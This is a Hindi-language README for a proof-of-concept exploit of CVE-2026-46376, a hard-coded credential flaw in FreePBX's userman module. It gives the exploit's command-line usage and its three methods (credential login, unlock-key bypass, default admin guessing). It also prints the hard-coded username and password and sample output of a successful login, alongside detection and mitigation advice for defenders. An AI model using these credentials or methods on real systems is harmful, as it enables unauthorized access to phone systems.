CVE-2026-46376 — हार्ड-कोडेड क्रेडेंशियल्स के माध्यम से FreePBX अप्रमाणित UCP एक्सेस

FreePBX के यूज़र मैनेजमेंट (userman) मॉड्यूल में एक गंभीर भेद्यता अप्रमाणित हमलावरों को UCP जेनेरिक टेम्पलेट सेटअप प्रक्रिया के दौरान एम्बेड किए गए हार्ड-कोडेड क्रेडेंशियल्स का उपयोग करके यूज़र कंट्रोल पैनल (UCP) तक पहुंचने की अनुमति देती है।

CVSS v4.0: 9.1 (क्रिटिकल) | CWE-798: हार्ड-कोडेड क्रेडेंशियल्स का उपयोग

प्रकटीकरण: 15 मई, 2026 | रिपोर्टर: s0nnyWT

विवरण

जब कोई व्यवस्थापक वैकल्पिक UCP जेनेरिक टेम्पलेट सेटअप सुविधा (2021 में पेश की गई) का उपयोग करता है, तो एक सिस्टम उपयोगकर्ता FreePBXUCPTemplateCreator हार्ड-कोडेड, स्थिर पासवर्ड के साथ बनाया जाता है। यदि व्यवस्थापक सेटअप के बाद कभी भी यह पासवर्ड नहीं बदलता है, तो नेटवर्क पर कोई भी अप्रमाणित उपयोगकर्ता इन क्रेडेंशियल्स के साथ UCP में लॉग इन कर सकता है।

नोट: FreePBXUCPTemplateCreator उपयोगकर्ता केवल तभी बनाया जाता है जब कोई व्यवस्थापक स्पष्ट रूप से UCP जेनेरिक टेम्पलेट सेटअप सुविधा चलाता है। जिन सिस्टमों पर यह सेटअप कभी नहीं किया गया, वे प्रभावित संस्करण चलाने पर भी इस CVE के माध्यम से शोषणीय नहीं हैं।

प्रभावित संस्करण

फिक्स इंस्टॉल/अपग्रेड के दौरान bin2hex(random_bytes(24)) का उपयोग करके पासवर्ड को रैंडमाइज़ करता है, और मौजूदा टेम्पलेट क्रिएटर्स के पासवर्ड अपग्रेड पर पुनः जनरेट किए जाते हैं।

PoC उपयोग

pip3 install requests
python3 poc.py <target_url>

विकल्प

positional arguments:
  target              Target URL (e.g. http://192.168.1.100)

optional arguments:
  -h, --help          show this help message and exit
  --no-check          Skip version pre-flight check
  --timeout TIMEOUT   Request timeout in seconds (default: 15)
  --method {creds,unlock,admin,all}
                      Which exploit method to run (default: all)
  -y, --yes           Auto-continue even if version is out of range

तरीके

1. creds — हार्ड-कोडेड क्रेडेंशियल्स का उपयोग करके module=User&command=login के साथ POST /ucp/ajax.php के माध्यम से UCP में लॉग इन करें
2. unlock — ?unlockkey=&templateid= क्वेरी पैरामीटर के माध्यम से अनलॉक कुंजी बाईपास का प्रयास करें
3. admin — ACP पर सामान्य डिफ़ॉल्ट एडमिन क्रेडेंशियल्स आज़माएं

उदाहरण

$ python3 poc.py http://192.168.1.100

============================================
  CVE-2026-46376 PoC - FreePBX UCP Access
  Target: http://192.168.1.100
============================================

[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible

============================================
  Exploitation
============================================

============================================
  Method 1: Hard-Coded UCP Credentials
============================================
    Username: FreePBXUCPTemplateCreator
    Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator

============================================
  Summary
============================================
Target is VULNERABLE

पहचान

यह जांचने के लिए कि कोई सिस्टम शोषणीय है या नहीं, PoC क्रेडेंशियल्स के साथ module=User&command=login और POST /ucp/ajax.php पर एक लॉगिन अनुरोध भेजता है। {"status":true} प्रतिक्रिया इंगित करती है कि टेम्पलेट क्रिएटर उपयोगकर्ता मौजूद है और पासवर्ड अभी भी डिफ़ॉल्ट है।

{"status":false,"message":"Invalid Login Credentials"} प्रतिक्रिया का अर्थ है:

• उपयोगकर्ता मौजूद नहीं है (टेम्पलेट सेटअप कभी नहीं चलाया गया), या
• पासवर्ड पहले ही रोटेट किया जा चुका है

शमन

• userman मॉड्यूल को 16.0.45 (FreePBX 16) या 17.0.7 (FreePBX 17) में अपडेट करें
• किसी भी मौजूदा UCP टेम्पलेट क्रेडेंशियल्स को सत्यापित और रोटेट करें — पैचिंग पहले से तैनात पासवर्ड को पूर्वव्यापी रूप से नहीं बदलती
• FreePBX फ़ायरवॉल मॉड्यूल का उपयोग करके ACP/UCP एक्सेस को विश्वसनीय नेटवर्क तक सीमित करें
• अतिरिक्त प्रमाणीकरण परतों के लिए MFA या SAML सक्षम करें
• अनधिकृत लॉगिन के लिए सक्रिय UCP सत्रों का ऑडिट करें

अस्वीकरण

यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के खिलाफ इस एक्सप्लॉइट का अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस उपकरण से होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।

संदर्भ

• GHSA-m55x-h47x-v3gx
• NVD - CVE-2026-46376
• FreePBX userman commit (introduced)